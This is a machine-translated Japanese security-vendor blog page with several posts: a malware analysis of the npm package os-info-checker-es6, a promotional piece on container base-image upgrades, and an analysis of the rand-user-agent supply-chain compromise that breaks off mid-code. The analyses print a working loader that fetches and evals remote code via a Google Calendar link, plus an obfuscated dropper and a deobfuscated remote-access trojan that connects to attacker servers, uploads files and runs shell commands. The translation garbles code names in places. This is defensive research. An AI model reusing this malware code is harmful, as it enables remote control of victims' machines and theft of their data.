ブログへようこそ
.png)
ご招待しますGoogleカレンダー招待とPUAによるマルウェア配信
というパッケージを発見した。 os-info-checker-es6
そして愕然とした。私たちは、それが看板に書いてあることをやっていないことがわかった。でも、どういうことなんだ?私たちはこの問題を調査することにしたが、当初はいくつかの行き詰まりにぶつかった。しかし忍耐は報われ、最終的に私たちは求めていた答えのほとんどを得ることができた。ユニコードのPUA(ナンパ師ではない)についても学んだ。ジェットコースターのような感情だった!
パッケージは何ですか?
がないため、パッケージからはあまり手がかりが得られない。 README
ファイルを作成した。npm上のパッケージはこんな感じだ:

あまり参考にはならない。でも、システム情報を取得しているようだ。さあ、進もう。
臭いコードでバレる
私たちの分析パイプラインは、パッケージからすぐに多くの赤信号を出した。 preinstall.js
ファイルが存在するためである。 eval()
を呼び出す。

我々は eval(atob(...))
を呼び出す。つまり、「base64文字列をデコードし、それを評価する」、つまり任意のコードを実行するということだ。それは決して良い兆候ではない。しかし、入力は何だろう?
入力は デコード
をパッケージに同梱されているネイティブNodeモジュールに追加しました。その関数への入力は次のようになります。 |
?!何?
ここにはいくつかの大きな疑問がある:
- デコード機能は何をしているのか?
- デコードとOSの情報チェックと何の関係があるのですか?
- なぜだろう?
eval()
そうなのか? - なぜ入力は
|
?
もっと深く知ろう
そのバイナリをリバース・エンジニアリングすることにした。これは小さなRustバイナリで、大したことはできない。当初、OSの情報を得るための関数の呼び出しを期待していたが、何も見られなかった。私たちは、もしかしたらこのバイナリにはもっと秘密が隠されていて、最初の疑問に対する答えが得られるのではないかと考えた。それについては後で詳しく説明する。
それにしても、関数への入力が単なる |
?ここからが面白くなる。これは実際の入力ではない。コードを別のエディターにコピーしてみると、こうなる:

ウォンウォン!危うく逃げられるところだった。私たちが見ているのは、ユニコードの「私的使用アクセス」文字と呼ばれるものです。これは、ユニコード標準の中で割り当てられていないコードで、私的使用のために予約されており、人々は自分のアプリケーションのために独自のシンボルを定義するために使用することができます。本来は何の意味も持たないので、本来は印刷不可能です。
この場合 デコード
を呼び出すと、ネイティブのNodeバイナリはこれらのバイトをbase64エンコードされたASCII文字にデコードする。とても賢い!
試乗してみよう
そこで、実際のコードを調べてみることにした。幸運なことに、実行したコードはrun.txtというファイルに保存される。そしてそれはこうだ:
コンソール.log('チェック);
超面白くない。彼らは何を企んでいるのか?なぜこのコードを隠すためにこれほどの努力をするのか?私たちは唖然とした。
だが
私たちはこのパッケージに依存する公開パッケージを見かけ始め、そのうちのひとつは同じ作者によるものだった。それらは
スキップトット
(2025年3月19日)- これはパッケージのコピーである。
ビュー・スキップ・トゥ
.
- これはパッケージのコピーである。
ビューデブサーバー
(2025年3月31日)ビューダミー
(2025年4月3日)- これはパッケージのコピーである。
ビューダミー
.
- これはパッケージのコピーである。
ビュービット
(2025年4月3日)- パッケージのふりをしている
ティービット/bvm
. - 実際のコードは入っていない。
- パッケージのふりをしている
共通しているのは、次のようなことだ。 os-info-checker-es6
を依存関係として持つが、決して デコード
機能。なんという失望だろう。攻撃者たちが何をしたかったのか、私たちにはまったくわからない。しばらく何も起こらなかった。 os-info-checker-es6
パッケージは長い中断の後、再び更新された。
ついに
この件はしばらく頭の片隅にあった。腑に落ちなかった。彼らは何をしようとしていたのだろう?ネイティブのNodeモジュールを逆コンパイルするときに、何か明らかなことを見落としていたのだろうか?なぜ攻撃者はこんなにも早くこの斬新な機能を燃やすのだろうか?その答えは2025年5月7日、新しいバージョンの os-info-checker-es6
バージョン 1.0.8
が出てきた。その preinstall.js
が変わった。

ほら、難読化された文字列はもっと長い! しかし 評価
の呼び出しはコメントアウトされている。そのため、難読化された文字列の中に悪意のあるペイロードが存在したとしても、実行されることはない。何が?サンドボックスでデコーダーを実行し、デコードされた文字列を出力してみた。少し美化し、手動で注釈を加えたものがこれだ:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
オーケストレーターにグーグルカレンダーへのURLがあった?マルウェアで見るには興味深いものだ。とてもエキサイティングだ。
皆さん、ご招待します!
リンクはこんな感じ:

base64エンコードされた文字列をタイトルとするカレンダーの招待状。美しい!ピザのプロフィールの写真を見て、もしかしたらピザ・パーティーの招待状かもしれないと期待したが、イベントの予定は2027年6月7日。ピザのためにそんなに待てない。でも、Base64エンコードされた文字列をもうひとつもらうことにしよう。これがデコードされたものだ:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
行き止まりで...もう一度
この調査は浮き沈みが激しい。事態は行き詰まったと思ったが、再び活気の兆しが現れた。開発者の本当の悪意がわかるまであと一歩のところまで行ったが、あと一歩届かなかった。
これは難読化に対する斬新なアプローチだった。このようなことをするために時間と労力を費やす人は誰でも、彼らが開発した能力を使うだろうと思うだろう。しかし、彼らは何もせず、手の内を見せただけだったようだ。
その結果、我々の解析エンジンは、攻撃者が印字不可能な制御文字の中にデータを隠そうとするこのようなパターンを検出するようになった。これは、巧妙であろうとすることで、検出が難しくなるどころか、かえってシグナルを増やしてしまうケースだ。というのも、これは非常に珍しいことであり、「私は悪いことをしている」という大きなサインを突き出しているのだ。これからも素晴らしい仕事を続けてください。👍
妥協の指標
パッケージ
os-info-checker-es6
スキップトット
ビューデブサーバー
ビューダミー
ビュービット
知的財産権
- 140.82.54[.]223
URL
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
謝辞
この調査の間、私たちはVector35の素晴らしい友人たちに助けられました。彼らは、私たちがネイティブのNodeモジュールを完全に理解できるように、彼らのBinary Ninja ツールのトライアル・ライセンスを提供してくれました。素晴らしい製品を提供してくれたチームに感謝します。👏
.png)
コンテナ・ベース・イメージのアップデートが難しい理由(そしてそれを容易にする方法)
コンテナのセキュリティはベース・イメージから始まります。
しかし、ここからが問題だ:
- ベースイメージを「最新」バージョンにアップグレードするだけで、アプリケーションが壊れてしまうことがあります。
- 既知の脆弱性を出荷するか、互換性の問題の修正に何日も費やすかの選択を迫られる。
- そして、アップグレードする価値があるのかどうかさえわからないことも多い。
この投稿では、ベースイメージのアップデートが見た目以上に難しい理由を探り、実際の例を見ながら、アプリを壊すことなく安全でインテリジェントなアップグレードを自動化する方法を紹介します。
問題:「ベースイメージを更新するだけ」-言うは易く行うは難し
これを読んでいるということは、おそらく「コンテナの安全性を確保する方法」などでググったことがあるのだろう。そして、AIが作成したドロドロした記事の最初のポイントは、ベースイメージを更新することだ。簡単だろう?しかし、そうはいかない。
もしベース・イメージに脆弱性があれば、アプリケーションはその脆弱性を抱え込むことになります。このシナリオを演じてみよう。
コンテナ・イメージに対してスキャンを実行したところ、深刻度の高いCVEが見つかりました。ベース・イメージをアップグレードすることをお勧めします。
⚠️ CVE-2023-37920発見 でubuntu:20.04
深刻度:高
固定 で: 22.04
推奨:ベースイメージのアップグレード
...しかし、あなたは問題を発見する。
からやみくもにアップグレードすることで ubuntu:20.04
への ubuntu:22.04
あなたのアプリケーションは砕け散る。
ベース画像をバンプする例と、現実に起こることを見てみよう。
例1:アップグレード後に壊れるDockerfile
最初のDockerfile:
FROM python:3.8-busterから。
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY./appCMD ["python", "app.py"].
チームは次のようにアップグレードする:
FROMパイソン:3.11-bookworm↪Cf_200D
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY ./appCMD ["python", "app.py"].
結果
psycopg2==2.8.6
より新しいlibpq
ヘッダーの本の虫だ。
フラスコ==1.1.2
をサポートしていない。パイソン3.11
ランタイム機能(非推奨のAPIが壊れる)。- CIでビルドが壊れる。
- 開発チームは怒っているし、ランチも台無しだ。
例2:微妙なランタイムバグを引き起こすベースイメージのアップグレード
オリジナルだ:
FROM node:14-busterCOPY./アプリ
RUN npm ci
CMD ["node", "server.js"] を実行する。
にアップグレードする:
FROM node:20-ブルズアイ
COPY。/アプリ
RUN npm ci
CMD ["node", "server.js"] を実行する。
ランタイムの問題:
ノード:20
より新しいオープンSSL
バージョン - 厳密なTLS検証は、古いaxios設定を破壊する。- アプリは次のようにスローする。
リーフ署名の検証不能
実行時のエラーHTTP
レガシー・サービスへの呼び出し。
最新」が罠である理由
Dockerエコシステムでは、最新のタグやトップライン・リリースを使うことを推奨しています。しかし、これは月曜日に動いていたアプリケーションが火曜日に突然失敗することをしばしば意味します。これはしばしば頭痛の種となり、停止し、バグ修正に時間を費やして開発が遅くなる罠です。
となると、解決策は当然、テスト済みのマイナーバージョンに固定することなのだが......。しかしそうもいかない。セキュリティのモグラたたきゲームに入り込んでしまったのだから、脆弱性を残す可能性のある新しいCVEを永遠に発見し続けることになる。
決断の麻痺:アップグレードすべきか否か?
セキュリティチームがアップグレードを推進。
開発者が安定性を理由に反発。
誰が正しい?それは場合による
しかし、その決断を理解するためには、すべての選択肢を検討する必要がある。つまり、すべてのバージョン、セキュリティリスク、安定性リスク、可用性に関する膨大なスプレッドシートを作成する必要がある。
それがどんなものかを見てみよう。
これでは、複雑で、くだらない、不可能な選択肢が残されている。
- 古いイメージのままで脆弱性を受け入れる
- アプリをアップグレードして壊してしまい、本番稼動がダウンするリスクがある。
- 手作業による互換性テストの試み - 作業日数
手動アップグレードのワークフロー:
手作業でやるなら、こんな感じだ:
- CVEをチェックする:
trivyイメージ python:3.8-buster
- 各CVEを調査する:アプリケーションのコンテキストで到達可能か?
- アップグレード候補の決定
- 新しいイメージをテストする:
- ビルド
- ユニットテストの実行
- 統合テストの実行
- 失敗した場合は、コードにパッチを当てるか、ライブラリをアップグレードする。
- コンテナごとに繰り返す。
疲れるよ。
じっとすることの代償
壊れていないなら直さなくていい」と思うかもしれない。
しかし、パッチが適用されていないコンテナのCVEは、セキュリティ侵害の大きな原因となっている。
また、人気のあるベース画像には、既知の悪用がたくさん存在する。
- Unzip パストラバーサルの脆弱性 (
CVE-2020-27350
)-何百万ものコンテナに何年も放置されていた。 - ハートブリード
CVE-2014-0160
)は、公式の修正後もずっとレガシーコンテナに残っていた。 PHP-FPM RCE
(CVE-2019-11043
を使用したコンテナ・ベース・イメージでは、リモートの攻撃者が細工した HTTP リクエストを介して任意のコードを実行する可能性があります。プリインストールされたPHP-FPM
パッチ適用前
自動修正機能がどのように役立つか
まさにこのシナリオを解決するために、Aikido Securityはコンテナの自動修正機能を展開した。
この機能は次のように動作します。あなたのイメージ、Aikido あなたのコンテナに脆弱性がないかスキャンします。もし脆弱性が見つかったら(あるいは見つかったら)、いつものように警告を発し、ベース・イメージを更新するよう怒鳴る代わりに、さまざまなオプションを提供します。ベースイメージのどのバージョンでどのCVEが解決されるかを知ることができるテーブルを作成します。こうすることで、マイナーバンプで高CVEのすべて、または大部分が削除される可能性があること、つまりベースイメージの適切なアップグレードであることがすぐにわかります。
アップグレードがマイナーバンプの場合は、自動的にプルリクエストを作成してバージョンを上げることができます。
何時間も節約できる
結論
- コンテナのベースイメージをアップグレードするのは本当に難しい。
- ただアップグレードすればいい」というアドバイスは、複雑でリスクを伴うプロセスを単純化しすぎている。
- しかし、セキュリティと安定性のどちらかを選ぶ必要はない。
- Aikidoコンテナオートフィックスは、あなたが十分な情報を得た上で決断できるよう、あなたのために難しい作業を行います。
- だから、次にベース画像の脆弱性アラートを見たとしても、慌てることはない。PRするのだ。
.png)
ラタトゥイユrand-user-agentに隠された悪意のあるレシピ(サプライチェーンの侵害)
5月5日16:00GMT+0、当社の自動マルウェア解析パイプラインは、リリースされた不審なパッケージを検出しました、 rand-user-agent@1.0.110
.パッケージの中に異常なコードを検出したが、それは間違っていなかった。この正規のパッケージに対するサプライチェーン攻撃の兆候を検出した。
パッケージは何ですか?
rand-user-agent`パッケージは、出現頻度に基づいて実際のユーザーエージェント文字列をランダムに生成します。WebScrapingAPI(https://www.webscrapingapi.com/) によって管理されている。
何を発見したのか?
我々の解析エンジンは、dist/index.jsというファイルから不審なコードを検出した。npmのサイトのコード・ビューで確認してみよう:
.png)
何かおかしなことにお気づきですか?下にスクロールバーがあるでしょ?くそっ、またやってくれた。コードを隠そうとしているのだ。これがその隠そうとしているものだ:
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
うん、これはまずそうだ。これは明らかにそこにあるべきものではない
コードはどのようにしてそこに到達したのか?
プロジェクトのGitHubリポジトリを見てみると、最後のコミットは7ヶ月前のバージョン2.0.82である。

npmのバージョン履歴を見ると、奇妙なことがわかる。その後、何度もリリースされている:
.png)
GitHubによれば、最後のリリースは次のようになる。 2.0.82
.それ以降のパッケージを調べると、すべてこの悪質なコードが入っている。明らかなサプライチェーン攻撃である。
悪意のあるペイロード
ペイロードはかなり難読化されており、隠すために何重もの難読化を使用している。しかし、これが最終的に見つかるペイロードだ:
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
console.log('Disconnected from server')
})
r.on('command', F)
r.on('exit', () => {
process.exit()
})
}
async function B(L, M, N, O) {
try {
const P = new p()
P.append('client_id', L)
P.append('path', N)
M.forEach((R) => {
const S = f.basename(R)
P.append(S, g.createReadStream(R))
})
const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })
Q.status === 200
? r.emit(
'response',
'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\n',
O
)
: r.emit(
'response',
'Failed to upload file. Status code: ' + Q.status + '\n',
O
)
} catch (R) {
r.emit('response', 'Failed to upload: ' + R.message + '\n', O)
}
}
async function C(L, M, N, O) {
try {
let P = 0,
Q = 0
const R = D(M)
for (const S of R) {
if (t[O].stopKey) {
r.emit(
'response',
'HTTP upload stopped: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
return
}
const T = f.relative(M, S),
U = f.join(N, f.dirname(T))
try {
await B(L, [S], U, O)
P++
} catch (V) {
Q++
}
}
r.emit(
'response',
'HTTP upload succeeded: ' +
P +
' files succeeded, ' +
Q +
' files failed\n',
O
)
} catch (W) {
r.emit('response', 'Failed to upload: ' + W.message + '\n', O)
}
}
function D(L) {
let M = []
const N = g.readdirSync(L)
return (
N.forEach((O) => {
const P = f.join(L, O),
Q = g.statSync(P)
Q && Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)
}),
M
)
}
function E(L) {
const M = L.split(':')
if (M.length < 2) {
const R = {}
return (
(R.valid = false),
(R.message = 'Command is missing ":" separator or parameters'),
R
)
}
const N = M[1].split(',')
if (N.length < 2) {
const S = {}
return (
(S.valid = false), (S.message = 'Filename or destination is missing'), S
)
}
const O = N[0].trim(),
P = N[1].trim()
if (!O || !P) {
const T = {}
return (
(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
